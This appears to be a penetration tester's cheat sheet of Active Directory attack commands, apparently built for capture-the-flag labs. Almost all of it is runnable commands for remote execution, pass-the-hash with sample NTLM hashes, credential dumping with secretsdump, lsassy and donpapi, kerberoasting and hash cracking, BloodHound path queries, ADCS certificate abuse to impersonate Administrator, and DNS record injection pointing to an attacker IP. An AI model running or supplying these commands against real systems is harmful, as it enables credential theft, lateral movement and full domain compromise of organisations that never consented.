With Creds
nxc smb RHOST -u 'USER' -p 'PASS' --shares -x whoami
nxc rdp RHOST -u 'USER' -p 'PASS'
nxc winrm RHOST -u 'USER' -p 'PASS' -x whoami
nxc wmi RHOST -u 'USER' -p 'PASS' -x whoami
nxc mssql RHOST -u 'USER' -p 'PASS' -x whoami
nxc ldap RHOST -u 'USER' -p 'PASS'
nxc ldap RHOST -u 'USER' -p 'PASS' -M adcs
nxc smb RHOST -u 'USER' -p 'PASS' --shares -x whoami --local-auth
nxc smb RHOST -u 'USER' -p 'PASS' --shares --put-file rustscan.exe /windows/temp/rustscan.exe
nxc smb RHOST -u 'USER' --local-auth -H 3e1aef05e1b65e4f3cee0e60b0eba2de
nxc smb RHOST -u 'Administrator' -p 'PASS' -M lsassy
nxc ldap ghost.htb -u 'USER' -p 'PASS' --gmsa
enum4linux RHOST -u 'USER' -p 'PASS'
mssqlclient.py 'USER':'PASS'@RHOST -debug -windows-auth
mkdir /tmp/share
xfreerdp /port:3389 /v:1.2.3.4 /d:DOMAIN /u:hackerbeepboop /p:Blabliblou_1 +clipboard /cert:ignore /dynamic-resolution /drive:/tmp/share,share
xfreerdp /port:3389 /v:1.2.3.4 /d:DOMAIN /u:user /pth:3e1aef05e1b65e4f3cee0e60b0eba2de +clipboard /cert:ignore /dynamic-resolution /drive:/tmp/share,share
psexec.py 'domain.local'/'Administrator':'pass'@1.2.3.4
psexec.py 'Administrator':'pass'@1.2.3.4
psexec.py -hashes ":e7db1b821fac71d089d0b42d4a5bf605" Administrator@1.2.3.4 powershell.exe
smbexec.py 'Administrator':'pass'@1.2.3.4
secretsdump.py Administrator:'pass'@1.2.3.4 -history
secretsdump.py user@1.2.3.4 -hashes ':3e1aef05e1b65e4f3cee0e60b0eba2de' -history
donpapi collect -u Administrator -p 'pass' -d domain.local -t 1.2.3.4 --fetch-pvk
wmiexec.py -k "user.ccache" 'powershell.exe "whoami /all"'
wmiexec.py 'user':'pass'@1.2.3.4 'powershell.exe "whoami /all"'
atexec.py 'user':'pass'@1.2.3.4 whoami
dcomexec.py 'user':'pass'@1.2.3.4 'whoami'
dcomexec.py -object MMC20 'user':'pass'@1.2.3.4 '\\4.3.2.1\test' -nooutput # test for execution, listen on 445 first
evil-winrm -i domain.com -u user -p 'pass' # Don't forget to add domain in /etc/hosts
Active Directory
LDAP enumeration
ldapsearch -H 'ldap://domain.com' -D user@domain.com -w 'pass' -b "dc=domain,dc=com" "*" > /tmp/ldapsearch
ldeep ldap -u user -p 'pass' -d domain.com -s ldaps://1.2.3.4:636 all /tmp/ldeep
ldapdomaindump ldaps://1.2.3.4:3269 -u 'domain.com\user' -p 'pass'
Kerberoasting
GetUserSPNs.py -dc-ip 1.2.3.10 'domain.com/user:pass' -request -outputfile /tmp/hashes.kerberoast
hashcat -m 13100 -a 0 /tmp/hashes.kerberoast /usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt.tar.gz --potfile-path=/home/user/HASHCATPOT
Bloodhound
DC access required
pip3 install --upgrade bloodhound
cd $(mktemp -d)
proxychains -q -f /tmp/PIVOT bloodhound-python --dns-tcp -u 'user' -p 'pass' -ns '1.2.3.10' -d 'do.main' -c All,LoggedOn
# https://github.com/BloodHoundAD/BloodHound/releases
./BloodHound --no-sandbox # Drag & drop files from last step
Get all descriptions
cat *.json|jq|grep -i '"description"'|cut -d: -f2 | sort -u
Enumeration
# All users group membership, excluding default low-level groups (users, everyone..)
WITH ['-513', '-S-1-1-0', '-S-1-5-11', '-S-1-5-32-554', '-S-1-5-32-545'] AS usergroups MATCH p =(u:User)-[r:MemberOf*1..]->(g:Group) WHERE NOT ANY(group IN usergroups WHERE g.objectid ENDS WITH group) RETURN p
# Domains and computers
MATCH p = (d:Domain)-[r:Contains*1..]->(n:Computer) RETURN p
# Domain Users
MATCH p = (d:Domain)-[r:Contains*1..]->(n:User) RETURN p
# Map of domains/groups/users
MATCH q=(d:Domain)-[r:Contains*1..]->(n:Group)<-[s:MemberOf]-(u:User) RETURN q
# Users ACL
MATCH p=(u:User)-[r1]->(n) WHERE r1.isacl=true RETURN p
Easy wins
# Users => High value (I had to remove CanRDP and CanPSRemote because it was not providing me admin access)
MATCH (m:User),(n {highvalue:true}),p=shortestPath((m)-[:MemberOf|HasSession|AdminTo|AllExtendedRights|AddMember|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|ExecuteDCOM|AllowedToDelegate|ReadLAPSPassword|Contains|GPLink|AddAllowedToAct|AllowedToAct|WriteAccountRestrictions|SQLAdmin|ReadGMSAPassword|HasSIDHistory|SyncLAPSPassword|DumpSMSAPassword|AZMGGrantRole|AZMGAddSecret|AZMGAddOwner|AZMGAddMember|AZMGGrantAppRoles|AZNodeResourceGroup|AZWebsiteContributor|AZLogicAppContributo|AZAutomationContributor|AZAKSContributor|AZAddMembers|AZAddOwner|AZAddSecret|AZAvereContributor|AZContains|AZContributor|AZExecuteCommand|AZGetCertificates|AZGetKeys|AZGetSecrets|AZGlobalAdmin|AZHasRole|AZManagedIdentity|AZMemberOf|AZOwns|AZPrivilegedAuthAdmin|AZPrivilegedRoleAdmin|AZResetPassword|AZUserAccessAdministrator|AZAppAdmin|AZCloudAppAdmin|AZRunsAs|AZKeyVaultContributor|AZVMAdminLogin|AZVMContributor|AZLogicAppContributor|AddSelf|WriteSPN|AddKeyCredentialLink|DCSync*1..]->(n)) WHERE m<>n RETURN p
# Owned Users => High value (I had to remove CanRDP and CanPSRemote because it was not providing me admin access)
MATCH (m:User {owned:true}),(n {highvalue:true}),p=shortestPath((m)-[:MemberOf|HasSession|AdminTo|AllExtendedRights|AddMember|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|ExecuteDCOM|AllowedToDelegate|ReadLAPSPassword|Contains|GPLink|AddAllowedToAct|AllowedToAct|WriteAccountRestrictions|SQLAdmin|ReadGMSAPassword|HasSIDHistory|SyncLAPSPassword|DumpSMSAPassword|AZMGGrantRole|AZMGAddSecret|AZMGAddOwner|AZMGAddMember|AZMGGrantAppRoles|AZNodeResourceGroup|AZWebsiteContributor|AZLogicAppContributo|AZAutomationContributor|AZAKSContributor|AZAddMembers|AZAddOwner|AZAddSecret|AZAvereContributor|AZContains|AZContributor|AZExecuteCommand|AZGetCertificates|AZGetKeys|AZGetSecrets|AZGlobalAdmin|AZHasRole|AZManagedIdentity|AZMemberOf|AZOwns|AZPrivilegedAuthAdmin|AZPrivilegedRoleAdmin|AZResetPassword|AZUserAccessAdministrator|AZAppAdmin|AZCloudAppAdmin|AZRunsAs|AZKeyVaultContributor|AZVMAdminLogin|AZVMContributor|AZLogicAppContributor|AddSelf|WriteSPN|AddKeyCredentialLink|DCSync*1..]->(n)) WHERE m<>n RETURN p
# Users => Computers
MATCH (m:User),(n:Computer),p=shortestPath((m)-[:CanRDP|CanPSRemote|MemberOf|HasSession|AdminTo|AllExtendedRights|AddMember|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|ExecuteDCOM|AllowedToDelegate|ReadLAPSPassword|Contains|GPLink|AddAllowedToAct|AllowedToAct|WriteAccountRestrictions|SQLAdmin|ReadGMSAPassword|HasSIDHistory|SyncLAPSPassword|DumpSMSAPassword|AZMGGrantRole|AZMGAddSecret|AZMGAddOwner|AZMGAddMember|AZMGGrantAppRoles|AZNodeResourceGroup|AZWebsiteContributor|AZLogicAppContributo|AZAutomationContributor|AZAKSContributor|AZAddMembers|AZAddOwner|AZAddSecret|AZAvereContributor|AZContains|AZContributor|AZExecuteCommand|AZGetCertificates|AZGetKeys|AZGetSecrets|AZGlobalAdmin|AZHasRole|AZManagedIdentity|AZMemberOf|AZOwns|AZPrivilegedAuthAdmin|AZPrivilegedRoleAdmin|AZResetPassword|AZUserAccessAdministrator|AZAppAdmin|AZCloudAppAdmin|AZRunsAs|AZKeyVaultContributor|AZVMAdminLogin|AZVMContributor|AZLogicAppContributor|AddSelf|WriteSPN|AddKeyCredentialLink|DCSync*1..]->(n)) WHERE m<>n RETURN p
# Owned Users => Computers
MATCH (m:User {owned:true}),(n:Computer),p=shortestPath((m)-[:CanRDP|CanPSRemote|MemberOf|HasSession|AdminTo|AllExtendedRights|AddMember|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|ExecuteDCOM|AllowedToDelegate|ReadLAPSPassword|Contains|GPLink|AddAllowedToAct|AllowedToAct|WriteAccountRestrictions|SQLAdmin|ReadGMSAPassword|HasSIDHistory|SyncLAPSPassword|DumpSMSAPassword|AZMGGrantRole|AZMGAddSecret|AZMGAddOwner|AZMGAddMember|AZMGGrantAppRoles|AZNodeResourceGroup|AZWebsiteContributor|AZLogicAppContributo|AZAutomationContributor|AZAKSContributor|AZAddMembers|AZAddOwner|AZAddSecret|AZAvereContributor|AZContains|AZContributor|AZExecuteCommand|AZGetCertificates|AZGetKeys|AZGetSecrets|AZGlobalAdmin|AZHasRole|AZManagedIdentity|AZMemberOf|AZOwns|AZPrivilegedAuthAdmin|AZPrivilegedRoleAdmin|AZResetPassword|AZUserAccessAdministrator|AZAppAdmin|AZCloudAppAdmin|AZRunsAs|AZKeyVaultContributor|AZVMAdminLogin|AZVMContributor|AZLogicAppContributor|AddSelf|WriteSPN|AddKeyCredentialLink|DCSync*1..]->(n)) WHERE m<>n RETURN p
# Any unconstrained Delegation ?
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
# Any constrained Delegation ?
MATCH p=()-[r:AllowedToDelegate]->() RETURN p
MATCH (c:Computer), (t:Computer), p=((c)-[:AllowedToDelegate]->(t)) return p
# kerberoast ?
MATCH (n:User)WHERE n.hasspn=true RETURN n
# GetUserSPNs.py -dc-ip 1.2.3.10 'do.main/user:pass' -request -outputfile /tmp/hashes.kerberoast
# hashcat -m 13100 -a 0 /tmp/hashes.kerberoast rockyou.txt --potfile-path=HASHCATPOT
# preauth req ?
MATCH (u:User {dontreqpreauth: true}) RETURN u
# GetNPUsers.py -debug 'do.main/' -usersfile /tmp/users -outputfile /tmp/hashes.asreproast -format hashcat -dc-ip 1.2.3.10
# sudo hashcat -m 18200 /tmp/hashes.asreproast rockyou.txt --potfile-path=HASHCATPOT
Others (testing)
MATCH p=()-[r:HasSession]->() RETURN p
MATCH p=()-[r:CanRDP|CanPSRemote|ExecuteDCOM]->() RETURN p
Match (n:GPO) return n
MATCH p=(u:User)-[]->() RETURN p
MATCH p=(u:User)-[r:GenericAll]->() RETURN p
MATCH p=()-[r:GenericAll]->() RETURN p
Certificates
ADCS
List vulnerable ADCS templates.
You need to check if the template allow impersonation (“Enrollee Supplies Subject” True)
Then check if you are into one of enrollment rights groups.
certipy find -u 'user'@domain.com -p 'password' -dc-ip 1.2.3.4 -vulnerable -stdout
We now generate a pfx certificate using the vulnerable template
DC_IP="1.2.3.4"
DOMAIN="domain.com"
DC_NAME="dc"
CANAME="theCAname"
TEMPLATE="VulnerableTemplate"
IMPERSONATE="Administrator"
UNPRIVILEGED_USER="beepboop"
UNPRIVILEGED_USER_PASS='potate'
certipy req -u "$UNPRIVILEGED_USER@$DOMAIN" -p "$UNPRIVILEGED_USER_PASS" -ca "$CANAME" -template "$TEMPLATE" -dc-ip $DC_IP -upn "$IMPERSONATE@$DOMAIN" -dns-tcp -ns $DC_IP -debug
Other
Playing with PFX file
# Crack password if any
pfx2john.py legacyy_dev_auth.pfx > hashpfx
/opt/john/run/john hashpfx -wordlist=/usr/share/rockyou.txt
# Save PFX without protection
certipy cert -export -pfx protected.pfx -password "password" -out unprotected.pfx
# Request TGT (then pass the ticket)
certipy auth -pfx unprotected.pfx -dc-ip 1.2.3.4 -domain 'domain.local' -username 'Administrator'
# OR...
# Extract cert and key from pfx
certipy cert -pfx unprotected.pfx -nokey -out user.crt
certipy cert -pfx unprotected.pfx -nocert -out user.key
# Use cert and key to connect with winrm
# https://gitlab.com/charles.gargasson/wintools/-/blob/main/winrmcert.rb
ruby winrmcert.rb --ip 10.129.227.113 --cert user.crt --key user.key
ADIDNS
In order to function properly, Active Directory services need DNS.
In that matter, Active Directory Domain Services (AD-DS) offer an integrated storage and replication service for DNS records.
This is called Active Directory Integrated DNS (ADIDNS).
If the user is allowed to, he can add DNS records.
# Example using kerberos ticket
export KRB5CCNAME="/tmp/user.ccache"
python3 dnstool.py -u 'DOMAIN.HTB\user' -k "DC01.DOMAIN.HTB" --tcp -r intranet.DOMAIN.HTB -a add -d ATTACKERIP -dns-ip DNSSRVIP
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully
# Example when you don't have enought rights
python3 dnstool.py -u 'DOMAIN.HTB\user' -p 'pass' 'DC01.DOMAIN.HTB' -r intranet.DOMAIN.HTB -a add -d ATTACKERIP -dns-ip DNSSRVIP
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[!] LDAP operation failed. Message returned from server: insufficientAccessRights 00000005: SecErr: DSID-03152E29, problem 4003 (INSUFF_ACCESS_RIGHTS), data 0
Adding record using bloodyAD
bloodyAD --host 1.2.3.4 -d 'domain.htb' -u 'USER' -p 'PASS' add dnsRecord test 10.10.14.56
bloodyAD --host 1.2.3.4 -d 'domain.htb' -u 'USER' -p 'PASS' get dnsDump